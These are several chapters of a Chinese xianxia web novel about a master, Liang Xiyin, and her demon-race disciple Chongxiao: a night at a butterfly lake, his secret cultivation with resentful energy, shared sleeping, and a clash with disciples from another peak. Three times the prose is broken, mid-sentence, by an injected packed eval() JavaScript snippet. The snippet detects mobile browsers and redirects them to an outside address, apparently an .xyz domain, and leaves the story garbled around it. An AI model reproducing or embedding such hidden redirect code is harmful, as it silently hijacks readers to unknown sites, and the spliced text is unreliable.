湖面很宽,一眼望不到边际,满天的星子倒映在湖中,让人分不清是湖水拥抱着天空,还是天空亲吻着湖水。微风乍起,吹皱如镜的水面,也揉碎了那点点微光。数不清的星点在水中摇曳着、轻舞着,似梦又似幻。 微风拂面,夜露湿润。两人站在湖边,周围满是半人高的芦苇,在风中沙沙作响,更添宁静。梁惜因将脸侧的碎发拢至耳后,在夜色与清风中温声说:“这里很美吧?” “嗯。”重霄应声,目光却落在了梁惜因身上。 他在世间流浪时走过许多地方,巍峨雄奇的高山、如水似画的小镇、沃野千里的平原...对他而言,这些景色并无任何不同,无非就是方不方便躲藏、能不能找到食物的区别。但如今,他注视着梁惜因轮廓温柔的侧脸,有些地方开始不一样了。 没有什么别的原因,仅仅是因为有她在。 “还有更美的。”梁惜因轻笑,抬手使出一道灵力。灵力并不强劲,只是让所过之处的芦苇都弯了弯腰。 下一瞬,无数灵蝶振翅从芦苇丛的深处飞出。 这些灵蝶比寻常的蝴蝶要大,半透明的蝶翼上流溢着紫色的微光。一时之间,夜色被搅碎,天地都被它们占有着。成群的灵蝶聚于湖面之方,道道涟漪泛起,星光与紫芒交相辉映,融成了这世间最为玄妙的画卷。 更多的灵蝶则围绕于二人身畔,好奇地观察着这突然出现的外来者。 眼前的场景着实有些震撼,重霄只觉心底有一处被撬动了,不由放轻了呼吸。他缓慢地抬起手,想要触碰身侧最近的一只灵蝶。而就在他触到那浅紫色蝶翼的一瞬间,这只灵蝶顿时消散了,化为了浮于半空中的细碎粉末。 重霄猛地缩回了手,神色也带上了惶恐,为自己惊扰了这样一场美妙的梦。 在旁的梁惜因将他的反应尽收眼底,面上笑意更浓。果然,不论平时再怎么沉稳听话,说到底也还是孩子心性。 她弯下腰,执起重霄的手。另一只手指着那一小团粉末,对他说:“别担心,你看。” 重霄紧抿着唇,一动不动地盯着她指的方向。只见那团紫色粉末重新凝在了一处,又化为了与之前别无二致的灵蝶。灵蝶拍着蝶翼,轻轻落在了梁惜因指尖。 重霄瞳孔微微放大,紧紧盯着眼前这一幕。 梁惜因偏头望向他:“你也试试?” 他?重霄顿了片刻,迟疑地伸出手,那灵蝶还真就轻扇蝶翼,飞落到了他的指尖。重霄身体僵直,呼吸都不敢用力,生怕又出现方才的场景。 梁惜因含笑揉了揉他的脑袋,解释道:“这片湖叫灵泽湖,也是我在无意中发现的。这些灵蝶唤作紫雾蝶,只栖息在水质极为纯净的湖边,也只在夏日才会出现。” “紫雾蝶的特性便是在被触碰到蝶翼后会散做粉末,不久后会再次凝聚成形,极难捉摸,是以那些试着捕捉的人大多都以失败告终。”其实这些灵蝶捉回去也没什么用,只是看着好看罢了。 那紫雾蝶似在重霄的指尖待得有些腻,又扇动蝶翼,加入到它的同伴中去了。重霄看着空荡荡的指尖,还有些愣神。 梁惜因心中有几分欣慰,这几日下来,她还是第一次见重霄展露出这么多情绪。她没忘记今夜来找他的目的,又劝道:“所以啊,阿霄,这世间有的不仅仅是修炼,还有很多美好的东西存在着,不必过于沉浸在功法中。” 重霄凝视着梁惜因,星河与灵蝶映在她眸中,竟比湖面还要璀璨几分。 他动了动唇,一时说不上其他的话来,只是答应道:“好。” 梁惜因捏了捏他那张看似严肃的小脸,只愿他是真的听进去了。 两人又在湖边待了许久,直至紫雾蝶重又飞回芦苇深处,梁惜因才布下缩地阵:“很晚了,阿霄,我们也该回去了。” 重霄有几分不舍,他很喜欢待在这里的感觉,仿佛天地间只剩下了他们二人。 梁惜因猜出了他的想法,笑眼宽慰道:“无妨,这世间风景万千,你若是想,为师随时都可与你同去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794715|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重霄抬起眸子,眼底是纯然的欣喜,郑重应道:“好。” 陵州城不知何时下起了雨,淅淅沥沥,将空气都打湿了。梁惜因踏出阵法,一手撑着油纸伞,一手牵着重霄:“走吧,为师送你回去。” 重霄迈着步子跟在她身侧,他抬头看了看伞,又看了看梁惜因,没忍住问道:“师尊,不是有种符唤作避雨符吗?” 梁惜因看着路,答道:“不错,只是我平日很少用这类符纸,还是更习惯撑伞。” 重霄似懂非懂地点了点头。自那之后,他的乾坤袋中便也常常放着一把油纸伞。 是夜,重霄躺在木屋的床上,回想着方才的经历,心里隐隐有种落差感。他是活在黑暗中的人,而梁惜因就如一抹皎白却不刺目的月色,盈在了他的心间。 若是...这捧月光能一直为他停留就好了。 他答应了梁惜因不会过于纠结修为,可他也清楚,他根本就做不到这一点,他太渴望变强了。重霄抬起手,在暗夜中注视着自己的手掌。自那日梁惜因用灵力帮他压制过后,他体内的怨气头一回安分了这么久,在极偶尔的时候,重霄甚至会忘记它们的存在。此时此刻,他心底陡然升起了一个大胆的想法——若是灵力修炼太慢的话,那怨气...? 心跳越来越快,直冲耳膜。这些怨气既是与他共存,那他为何不能去试着操纵它们,让它们为他所用、供他驱使?他自然知晓这般做的风险极大,甚至有可能他会反被怨气吞噬。从古及今,从未有过这种先例。但不试一下又怎能知道呢?既是想要变强,就总得承担些什么,这世上没有一件事是不需要付出代价的。 可他不想骗她。 重霄放下手,睁着眼躺了许久。周遭一片寂静,偶尔划过几声虫鸣,他内心的挣扎一刻都未曾停歇。 脑中似是有无数道声音在说——试试吧,不试又怎能知道结果呢,不会出问题的...不会的,试试吧...... 夜色被黎明的晨光刺破,重霄握紧双拳,终是下定了决心。他还是...太渴求力量了。 随之而来的是巨大的歉疚感,实是让他不好受。只这一件事,重霄在心内道,他只会瞒着梁惜因这一件事,其余任何事都绝不会再向她隐瞒。 接下来的几日中,重霄确实发现用怨气修炼的速度比用灵力快多了,几乎称得上是一日千里。不过他一时也无法修炼得太快,怨气终究难控,一旦体内的灵力跟不上,这些怨气便会再次失控溢出,侵吞他的意识,与他争夺着这具身体的主导权。 就如今晚,怨气再度充溢着房间,脑中厉鬼的尖啸声直要把他撕作两半。重霄紧咬牙关,拼命维持着灵台的清明。这些时日下来,他已能试着去控制些怨气了,今晚的情况虽有些棘手,但熬一熬也不是不能挺过去,更别提他早已习惯这份疼痛了。 即便如此,他还是跌跌撞撞地出了院门。颤抖的双手支撑不了他布阵,他独自摸索在漆黑的山道上,向着记忆中的那处院落而去。 他想见她。 好像自遇见她之后,这一切就开始变得难以忍受起来。或许这只是因为他知道,梁惜因在见到他后会露出关切的神色,会温柔地唤他的名字,会抚平他身上的痛楚,会告诉他——“有我陪着你”。 66. 同寝 落雪轩的檐下,一盏昏黄的油灯随风轻晃,驱散了周遭的夜色。 重霄站在院门口,都已走到这来了,他却开始犹豫不决起来。她会不会已经睡了?自己这时候来会不会打搅到她?她会想见到自己吗? 正踌躇间,院门却突然被打开了,带起了一阵微风。重霄一惊,后撤了一小步。梁惜因也很是惊讶,她手持烛台,身披外衫,柔顺的青丝散在身后,有几缕垂落在颊边,使她整个人看上去清婉非常,少了几分距离感,更多了些凡尘气息。 “阿霄?怎么这时候过来了?我方才还在想是谁在外面。”她将烛台往前举了举,这才看见那几要与浓稠夜色融为一体的怨气。 霎时间,她便明白是怎么回事了,连忙又将院门打开了些:“快进来吧。” 她将重霄带进正屋中,轻挥衣袖,屋中的烛火顿时都燃了起来,一时有如白昼,那些怨气再也无法遁形,充斥在屋内。重霄抬起手,轻轻拽住了梁惜因的衣袖,满眼都是她的身影:“师尊...” 梁惜因心中一动,她的小徒弟,也在慢慢试着依赖她,而非是像此前那般拒人于千里之外。她手上动作不停,娴熟地从指尖凝出灵力,按在重霄的眉间。 随着纯净灵力的注入,在旁张牙舞爪的怨气渐渐偃旗息鼓,重又回到了重霄体内。梁惜因半蹲下来,将他揽入怀中,一手轻抚着他的后背:“没事了,师尊在这呢。” 她身上的梨花香尽数萦绕在重霄鼻尖,身上的疼痛已然散尽了,可他的心跳却是越来越快。 有点...太近了。 梁惜因稍稍拉开了些距离,看着他说:“要师尊送你回去吗?” 回去?重霄摇了摇头。 梁惜因失笑:“怎么,你还想睡我这不成?” 重霄不语,只是定定地注视着她。 梁惜因:“......” 片刻后,重霄躺在梁惜因的床上,梁惜因则坐在床边,握着他的一只手。从踏入卧房的那一刻起,重霄就变得拘谨起来,此刻的睡姿更是端正无比,眼睛也不敢到处乱看,只是直直地盯着上方玉色的床幔。 梁惜因替他掖了掖被角:“睡吧,我就在你旁边。” 重霄没有闭眼,只是默默往里挪了挪,并用满含期待的眼神望向梁惜因,心中所想表达得简直不要太明显。 这下梁惜因哪能不领会他的意思,她一手撑在床上,俯身凑近,故意逗他道:“想让我陪你睡啊?” 梁惜因的面容骤然放大在眼前,重霄心头一跳,只觉面上染上了些许热意,忙将脸又往被子里缩了缩。他听见耳边传来几声轻笑,紧接着柔软的床褥往下一陷,梁惜因上床躺在了他身侧。 她轻动手指,房内最后一盏蜡烛随之熄灭。“下不为例哦。”梁惜因在房间彻底暗下来之时说道。 她并不在意这番举动是否合礼数,只觉自家的小徒儿还是太容易感到不安了,自己这个做师尊的还要多上些心才是。 满室静谧中,只余二人清浅的呼吸声。重霄紧张得一动都不敢动,他本以为今夜注定难眠,可没过多久,他的眼帘就越来越重,很快便迷迷糊糊地睡着了。 他很是难得的做了一个梦。梦中,是满院的梨花。 自那之后,重霄时不时会放任体内怨气溢出,再故技重施地跑到落雪轩去求收留。梁惜因虽每次都说着下不为例,却没有哪一次是真正把他送回去的,反倒是每次都与他同床而眠。 时日一长,梁惜因便发觉出不对劲来了。这日,两人在一处亭中对弈。梁惜因在棋盘下落下一枚白子,随口对重霄说:“我有时会想,布阵与下棋是极为相似的。棋可制敌、杀敌,亦可防敌、固己,攻守兼备,而阵亦如是。” “师尊说得在理。”重霄眼睑微垂,似是在记着她说的话,同时落了一枚黑子下来。 梁惜因挑眉,她方才落的那一子是为堵住重霄的去路,不想重霄却是看了出来,并巧妙地将之化解了。她上旬才开始教重霄下棋,不曾想他进步这般大。 梁惜因又从棋罐中捻出一子,却又在落子之时止住了动作。 “师尊?”重霄惑然轻唤。 梁惜因将手收了回去,突然问他道:“不应该啊,按理说,随着你体内灵力的增多,这怨气应是更好压制才是,怎么最近溢出的次数反倒越来越多了?” 重霄执棋的手微不可察地一顿。 梁惜因越说越忧心:“这样下去可不行,怕是哪里出了问题。”她会些浅显的医术,说着就要将手指搭在重霄的脉上。 重霄轻巧地避开了,解释道:“是我此前没找对压制的法子,不过师尊放心,这法子我已在前几日悟到了,以后此事不会再这样频繁发生了。” 梁惜因半信半疑,还欲再给他查探一番:“当真?可我还是不太放心。” 重霄自是不会让她把脉,虽说用怨气修炼这事做得足够隐蔽,但也难保不会被她发现什么。他握住梁惜因伸来的手,故作委屈:“还是师尊觉得我这些时日去得次数太多,对我厌烦了?” 梁惜因:“???”不是,他这都是从哪学来的话?怎么越长大还越粘人了? 她立马说道:“怎会,哪有师尊会对自家徒儿感到厌烦的?” 但她确实觉得重霄常来有些不合适,原因无他,只是她这小徒儿长得实是太快了些,刚捡回来时还是个半大孩童模样,几个月下来,就已长成一个俊秀少年了,身量甚至都隐隐超过了梁惜因。她倒还挺怀念他小时候的模样,总觉得还没养够,她的小徒儿就忽然长大了。 连常来的梁惜时都忍不住感慨道:“真是一天一个样啊。”他不知重霄的特殊,只状有些魔族的成长速度就是异于常人。 不管怎么说,梁惜因房内的床就那么大,如今两个人再一起睡难免显得拥挤,偶尔在翻身之时还会碰到对方。她先时还想着若是以后重霄再来,便在院中收拾一间偏房出来,这下看来是用不上了。思及此,她心里不知为何竟生出了些许失落。 而这诸多想法一齐涌上来,她果然没再顾着要给重霄把脉了。 重霄暗自松了口气,将目光重新落回了棋盘之上:“师尊,继续吧。” 一盘棋下到最后,又是梁惜因胜了。重霄道:“还是师尊技高一筹。” 梁惜因笑道:“运气好罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798251|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我看阿霄很快就能胜过我这个做师尊的了。”她打了个响指,白子和黑子就各自回到了棋罐中,棋盘重又空了出来,“还来吗?”她问。 “来。”重霄很快答道。不论做什么事,只要是能与她一起便好。 几盘棋下完,时间也到了日中。梁惜因站起身,叮嘱了重霄一句,让他别又忙着练功顾不上吃饭,随后便先行离去了。 用饭对修仙之人而言并非必不可少,但在修仙门派中,饭堂中的吃食大多蕴含着丰沛的灵力,对修炼有助益,是以弟子们大多都会按时到饭堂用饭。 天璇峰的饭堂内,重霄一迈进去,照例只看到了两个人,常谧和纪长天。饭堂很大,阳光透过一扇扇窗棂照射进来,通透极了。不过常谧和纪长天一直固定坐在一处靠窗的位子,一言不发地低头用着饭,只不过现在从两人变为三人了。 重霄打好饭,走到纪长天身边坐下。纪长天初时还很是拘谨,后来加重霄也不怎么说话,又重新自在起来。今日三人照常在沉默中用着饭,重霄却忽然开口问道:“怎么从不见师尊来饭堂?” 纪长天被他吓得一激灵,都要夹到嘴边的肉又掉回了碗中。 常谧倒是没什么反应,将口中食物咽下去后答道:“师尊平日都会去天玑峰与梁峰主一同用饭。” 重霄此前还以为梁惜因是单独在落雪轩中用饭,今日却发现她离开的方向不对,原是去了天玑峰。 纪长天也缓过来了,补充道:“对,梁峰主的厨艺是出了名的好,除了师尊是日日都去,其余几峰的峰主也不时会去蹭饭。” 原是如此。那若是自己的厨艺也很好,她会不会就愿意到他那儿去用饭?重霄心里想着,指节不自觉地攥紧了些。 吃完饭后,三人正要离开,饭堂门口却呼啦啦地涌进来了一群人,险些就要和他们三人迎面撞上。纪长天下意识地就想后退,再意识到身后就是重霄时,又生生止住了脚步,直面着这群人。 进来的共有六人,全都是身材高大的男修。常谧不动声色地向前移了一小步,将两位师弟半挡在了身后。她轻抬眼帘,看了看他们身上宗服的样式,问道:“开阳峰的?” 为首的那人抱着双臂,上下打量了她几眼,说:“你们天璇峰不是有个魔族吗?人呢?”他边说边向常谧身后张望着,重霄眉间的纹样太过于醒目,一眼就让这人锁定了。 来人感到有些奇怪,不是说天璇峰新来的魔族弟子是个半大小孩吗?这看着哪里像小孩了啊??管他是不是小孩,这魔族身份铁定没跑了。他向后招了招手,身后五人与他一齐向前逼近着。 知道对方这么多人都是来找自己的后,重霄内心毫无起伏,眼睫都没有动一下。他看着挡在身前的纪长天,侧了侧身子想要站出来。纪长天察觉到后,紧紧拽着他的衣袖,不让他站出去。 “你、你们找我师弟做什么?”哪怕他自己都已很紧张了,甚至说话都有些磕绊,却还是没有挪动分毫。 为首那人看都不看他一眼,伸手就想把他推到一边,却意外的没推成功。重霄抬手握住了他的手腕,仅仅是这么简单的一个动作,竟使他再无法前进分毫。 67. 闹事 天玑峰。 梁惜因不知是第多少次踏入了熟悉的院落中,甫一走进饭厅,就闻得扑鼻的饭菜香。 一浓眉挺鼻、双目如炬的青年对她挥了挥手:“含盈,你可算来了,再不来你哥脖子都要望长了。” 梁惜因笑着和桌上的三人打了声招呼:“哥,还有既微哥、扶岳哥。” 梁惜时让梁惜因坐在自己身侧,没好气地对方才说话的扶岳道:“你给我少吃点。” 扶岳立马抗议:“那咋能行啊,惜时你这做了这么多菜,吃不完不是浪费吗?”说完他就狼吞虎咽了起来,那架势活像三天没吃过饭了一样。 谢既微瞟了他一眼:“有你在是不会浪费,你每次就差吃完抱着碗舔了。” 扶岳在吃菜的间隙还不忘回他道:“都怪惜时做的菜实在太好吃了。” 梁惜时正不停的给自家妹妹夹着菜,问道:“可是又在教你那个小徒儿?” “对,他修炼速度虽是慢了些,但悟性极高。”梁惜因如实说。 这几月下来,梁惜时不时也会怀疑当初是不是自己戒心太重了,毕竟他去了这么多趟天璇峰,重霄看上去除了性子冷了点,确实算是个乖巧懂事的弟子。 要是能再少黏着些他妹妹就更好了。 梁惜因看着碗里小山般的各种菜色,不由说道:“哥,也别光顾着给我夹菜了,你自己也多吃些。” 谢既微随口调侃道:“含盈啊,你哥这习惯,怕是一辈子都改不了了。” 梁惜时斜了他一眼,却是没有反驳。而扶岳这时已开始扒拉第二碗饭了,吃着吃着,他的速度渐渐慢了下来,神情也凝重起来。 谢既微看得稀奇,脱口而出道:“怎么?饭里有毒?” 梁惜时忍无可忍,把手放在他后脑上就往下一按。谢既微毫无心理准备,险些整张脸都被按进了碗里,他面无表情地重新抬起头,看着梁惜时说:“我好歹也是个掌门,你就这么对我?” 梁惜时根本不吃他这套:“得了,这里就我们几人,哪还有什么掌门不掌门的。” 梁惜因:“噗。”察觉到谢既微将幽幽的视线转向了她,梁惜因忙扭头问扶岳道:“扶岳哥,出什么事了?” 扶岳本就不擅藏事,这有人问了,他叹了一声,便答道:“是我一亲传弟子家中出了事,他有一亲姐姐,马上就要出嫁了,却在昨日夜里被魔族袭击至重伤,现在还没醒过来。玉衡峰也派人去了,也不知能不能救得回来。” 梁惜因双眉轻蹙:“突逢变故,他心中定然难以接受。” “谁说不是呢,上午的训练他都没来。”扶岳的情绪来得快去得也快,他摆了摆手,不再纠结这件事,“男子汉大丈夫,总要学着自己站起来。” 谢既微赞同道:“不错,这世上灾祸不断,但人总不能一直沉湎于过去。” 梁惜时手指轻敲桌面,若有所思地说:“我似是听闻过此事,那弟子是不是名唤段凌轩?” 扶岳点头:“对,就是他,天赋挺高的一小子。” 正说着,一张符纸艰难地从窗户缝中挤了进来,顿时引起了桌上四人的注意。挤进来后,那符纸径直朝梁惜因飞来,她惑然地伸手接住:“找我的?” 在她接住的一瞬间,一阵金芒从符纸中显现到半空,化作了极为简短的一行字——开阳峰有人来闹事。 桌上四人自是都看到了这字,扶岳坐在梁惜因的正对面,歪着头对那左右颠倒的字辨认了半天,旋即猛地抓住了谢既微的手臂,每问一句嗓音就又拔高一些:“啥?开阳峰?去天璇峰?闹事?” 谢既微将他的手拂到一边,继续无情地用事实打击他:“是,你没看错,你峰下的弟子去找含盈的弟子闹事去了。” 梁惜因捏着符纸:“这灵力...是阿谧的。”她站起身,抬手就开了道阵门,“不行,我得回去。” 梁惜时紧随其后:“我与你一道去。” 扶岳抓紧时间又扒拉了几口饭,含糊着说:“等我等我,我要亲自去收拾那群小兔崽子们。” 谢既微也站起身:“那我也去看看吧。”他面上并无多少焦急,毕竟这么大的宗门,弟子又大多年轻,发生点冲突简直再正常不过了。 - 天璇峰。 重霄的速度太快,快到纪长天都没反应过来。比纪长天更惊讶的是被重霄握住手腕的那名开阳峰弟子,他在同辈的体修中无疑属于佼佼者,眼下却被一个身形比他纤瘦多了的少年给制的动弹不得。 他侧目看向自己被握住的手腕,见缕缕黑雾萦绕在重霄指掌间,霎时便明白重霄的力气是哪来的了,当即怒不可遏:“你们这些魔族,尽会使些下三滥的手段!有种就把魔息收了,我也不用灵力,你我堂堂正正打上一场!” “其一,是你先动手的,我明里还击,又怎算是下三滥?其二,我一个阵修,为何好端端的要与你一个体修动手?除非是和你一样脑子坏了。”重霄慢条斯理地说着,毫无预兆地把手一松,那人一时收不住劲,原地踉跄了几下才重新站稳。 他颇觉恼怒,脸色都涨红了:“谁脑子坏了?!我看你就是怕了!”他扭头向身后几人使了个眼色,喊道:“还愣着作甚?把这魔族小子围住,别让他给跑了!” 那五个高个体修听了,纷纷冷着脸围上前来,体型所带来的压迫感扑面而来。 “慢着,”常谧这时开口道:“要打便出去打,别在我天璇峰的饭堂搞破坏。” “行,出去打就出去打。”为首的那人指着重霄说:“魔族小子,等下要你好看!” 重霄看他的眼神却毫无波澜,甚至还隐隐含着一丝嘲讽。那人心中更是气急,愤愤转身,率先走了出去,另五人则紧紧跟在他身后。 最后剩下的是天璇峰三人,纪长天拉住重霄,急切说道:“师弟,你不能和他打,况且他还带了这么多人来。” 重霄不以为意:“师兄且宽心,就算他们几人一起上,我也有把握能应付得了。” 纪长天:“......”师弟是在和他开玩笑吧? 他转而向常谧道:“师姐...” 常谧很是少见地弯起了唇角,笑意中透着几分狡黠:“无妨,我自有打算。” 见他一向认为最是靠谱的师姐都这么说了,纪长天也便稍稍放下了心。走出饭堂后,他顿时明白了常谧说的是何打算。阵修对阵法的察觉自是比其他修士更为敏锐,尤其是在与布阵之人的修为相差不大的情况下。此刻他便发觉那几个开阳峰弟子的脚下布着一个迷阵。 这阵法只能是常谧方才趁几人不注意时布下的,而且...纪长天感知了一番,这还是迷阵中最为绕人的一种。这几个体修要是真进去了,就算能出来,估计头也得大一圈。 纪长天望了眼常谧,就见师姐对他眨了眨眼。他松了一口气,彻底安下心来。而他能察觉到的重霄自是也能,于是三人不约而同的站在了阵法的范围外。 几个开阳峰的弟子面对他们站成一排,像极了一堵墙。为首的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过他心里却更佩服常谧了,没想到师姐在刚刚那段不算长的时间里,直接做了两手准备。梁惜因也没忘了他,走过来拍了拍他的肩:“还有我们长天,也是越来越勇敢了。”不像初入天璇峰之时,不是跟在她身后就是常谧身后,一见到生人就紧张得连话都说不出来,恨不得直接跑回自己的小院中去。 一听到自家师尊的夸赞,纪长天的脸霎时变得通红:“啊?我吗?”他垂在身侧的手将宗服捏得皱皱巴巴,声音也愈来愈低,“师尊谬赞了。” 这边是师徒四人其乐融融,而另一边就全然是一派鬼哭狼嚎了。 段凌轩的个子本就很高了,而扶岳更是比他还要高出一个头。此刻这六名开阳峰弟子全都双手抱头蹲在地上,扶岳在他们身后踱着步子,边训话边随机给其中一人来上一脚。 他气归气,但还是收着力道,否则怕是能直接一脚把他们踹下峰去。 “我看你们就是吃饱了撑的,功法练到第几本了?一个两个,全都出息了!跑到人天璇峰来闹事,怎么也没见你们去天枢峰、天权峰?”扶岳越想越气,还好事情没闹大,不然以后梁惜时不让他去蹭饭可怎么办? 纷纷还威风凛凛的几人哭丧着脸求饶道:“师尊,我错了啊师尊,下次再也不敢了!” “师尊教训的是,都怪我们呜呜呜...” 谢既微适时在旁劝道:“扶岳,我看这些弟子也都知错了,不必过于苛责。” 梁惜时也说:“是啊,本来就傻,万一打得更傻了怎么办?” 谢既微:“......”有你这么劝人的吗? 68. 真心 扶岳随便揪了一个弟子问道:“说,为什么要来闹事?” 那弟子无辜地眨了眨眼:“不知道啊,段哥说只要我们去给他撑场子,他就请我们几个下山吃饭。” 扶岳:“......”惜时说得对,本来孩子就不聪明,可别真给打傻了。 他又踢了脚段凌轩:“就是你小子教唆的他们?” “是我,师尊要责罚还请只责罚我一人!”段凌轩很是讲义气地道。 扶岳说:“这罚肯定是少不了你的,但你得先说说为何要带他们来天璇峰。” 闻言,段凌轩抬起头恨恨地盯着重霄,咬牙切齿道:“没有原因,他是魔族,而魔族都该死。” 他脸上的恨意太过赫然,梁惜因不禁拧紧了眉。手上传来微凉的触感,重霄握住她的手,像是被吓到般往她靠近了些,梁惜因捏了捏他的手掌,让他安心,对几个徒弟说:“你们先回去吧,这边交由我和掌门,还有两位峰主处理便可。” 常谧和纪长天拱手应是,重霄有些犹豫:“师尊...” “无妨,你先回去,我随后便去找你。”梁惜因说。 梁惜时缓步走了过来,唇边笑意浅浅:“放心,我和掌门都在此处,出不了岔子。”所以快走吧你,这么大人了,还一天到晚缠着他妹妹,他都替阿因嫌烦。 他们二人既是都这么说了,重霄也无理由再拒绝,一步三回头地跟在师姐师兄身后走了。 段凌轩看着这一幕,哪怕他再迟钝,这时也慢慢回过味来了。他就说这小子方才脸色怎么变得那么快,合着就是看到几位长辈来了,故意装成这样的。 这魔族小子,心机竟是如此深沉! 段凌轩心头火起,愤愤地磨着后槽牙,见重霄要走了,顿时不管不顾地站起身大喊道:“躲在师尊背后算什么好汉,没种的魔族小子!” 还未走远的重霄脚步顿了顿,又如没听到般头也不回地离开了。他自是不会如段凌轩所言一直躲在梁惜因身后,他希望有朝一日,自己也能护在她身前。 喊完后,段凌轩觉得自己好歹是出了一口气,胸口都通畅不少。紧接着他的后脑就迎来了猛击:“臭小子,到现在还不知悔改!”扶岳简直是气得不轻。 他抬着手,还欲再来几下,梁惜因却过来拦住了他:“扶岳哥,容我同他说几句话。” 梁惜因的面子扶岳自然不会不给,他最后又揉了一把段凌轩的头,警告道:“别给我犯犟啊!” 看着段凌轩被揉得和鸡窝一样的脑袋,梁惜因抿了好几下唇才把笑意压下去。她清了清嗓子,问他道:“你此前可曾见过重霄?” 段凌轩比她要高出许多,此刻却低垂着头,不去看她的双眼。他闷闷答道:“不曾。” “那你可曾听闻过他为恶?” “......亦不曾。” 梁惜因轻叹一声:“那你为何要对他抱有这么大的恶意?就因为他是魔族?” 段凌轩不语,看上去是默认了。 梁惜因也不在意,向一旁走了几步,望向被绿树遮掩的晴空,兀自说道:“我对你家中变故也有所耳闻,是有不少魔族在为祸人间,此事不假;亦有许多魔族自出生起就心存恶念,此事更不假。” “但难道就能凭此断言所有魔族都绝非善类吗?”她话锋一转,蓦地回过头来注视着段凌轩,语气不缓不急,“重霄是我的弟子,他心性如何,我总归是比你了解。自入宗以来他便勤于修炼,鲜少出峰,别说是害人了,甚至都没与其余峰的弟子说过几句话。而今日你可以说是无缘无故的来寻他麻烦,要与他一个阵修做所谓的公平对决。事已至此,孰是孰非,我想你心里应该明白。” 段凌轩双拳紧握,手背青筋泛起,依旧一言不发。 见他孤零零地站着,承受着在场所有人的视线,梁惜因心底又生出了几分不忍,说到底他还是太年轻了。 她放缓了语气说:“你天资不差,好好修炼,将来定能大有作为。你今日来此,实为意气用事,该罚。但你忧心亲人的这份心是好的,何不去把这份意气用在那些真正为非作歹的恶人身上?” 见梁惜因苦说了一句又一句,而这小子呆得跟木鸡一样,扶岳忍不住搡了他一把:“听到没?还不快去跟人道歉?” 段凌轩被推得晃了晃身子。梁惜因的话环绕在他耳侧,家姐被伤的模样一遍遍出现在他脑海中。他今日来此,确实只是想给自己找一个出气筒,他知梁惜因所言有理,但少年人的自尊心又使他迟迟认不下那一句错。 他脸色越涨越红,在突然大喊一声“我不去”后,就出乎所有人意料的转身跑了。扶岳伸手想捞他,但段凌轩这回长了记性,滑得跟泥鳅似的,让他几下都捞了个空,“嘿,这小子。”扶岳气得都有些想笑了。 谢既微拉住他:“让他自己待会吧,我先去符问问玉衡峰的人。这么久都没消息,想来他姐姐是能救回来的。” 扶岳甩了甩脑后的马尾:“谁说我要去追他了?我饭还没吃完呢。” 谢既微:“......”他早该料到的。 梁惜时见梁惜因面露忧色,便出言道:“阿因,不必过于将此事放在心上。” “嗯,但愿他能自己想明白。”梁惜因点头应声,眉心仍旧蹙着,“哥,我先去找阿霄了。” 梁惜时面色平静地回道:“好,你去吧。”实则内心在疯狂不平,又去找那小子,那小子到底有什么好的啊!是他做得菜还不够好吃吗??不行,他回去后得再多琢磨几个菜色出来。 梁惜因布了个阵来到重霄的院落前,而重霄也正站在门口等着她,见她来了,行礼道:“师尊。” “好了,以后只有你我两人之时,不必如此多礼。”梁惜因扶起他,走入屋内坐下。 重霄照旧坐在她对面,他敛着眉目,抢在她之前开口说:“弟子给师尊添麻烦了。” 梁惜因神色不变,淡淡扫了他一眼:“何出此言?分明是他们来挑事。” 重霄顿了须臾,说:“可若非弟子是异类,今日之事也不会发生。” “你当真这么想?”梁惜因罕见的在他面前沉下了脸。 重霄不语,两边的发丝垂下,让梁惜因有些看不清他的神情。她觉得头疼,这才说完一个犟种,又来一个。 她一挥袖,桌上便出现了两盏清茶,梁惜因端起其中一盏抿了一口,说:“阿霄,你要知道,若是一人存心想找你麻烦,那他总能找出千万种理由;而若是一人诚心待你,那他根本不会在乎你是何身份。” 这些时日下来,梁惜因本以为他早便明白这最浅显的道理了,没想到...也是,毕竟在心底根深蒂固了这么多年的想法,又岂是那么容易改变的? 她倾身向前,将他脸侧的碎发拢到耳后,让阳光直接落在他脸上:“阿霄,我很喜欢你,你的师兄师姐也都很喜欢你。以后莫要再有这种想法了,好吗?” 喜欢...吗?重霄眸底的情绪几经变化,他知道这个词,却从来不解其意,他没有喜欢的事物,也没有人会喜欢他。 但现在,想起常谧和纪长天挡在他面前的身影,重霄觉得他有些明白了。喜欢,就是将一个人放在心上,用尽心思地对他好、保护他。 心脏被暖意包裹着,他沉默片刻,终是浅笑道:“好。” “好了,不想那些事了,跟为师去个地方。”梁惜因笑了笑,信手开了道阵门。 “去何处?”重霄已不似初来时那般寡言,在她面前话也逐渐多了起来。 “去玩。”梁惜因面上笑意灿灿,起身走入了阵中。 同时起身的重霄捕捉着她这一瞬的笑容,像是要将之牢牢映在脑中。 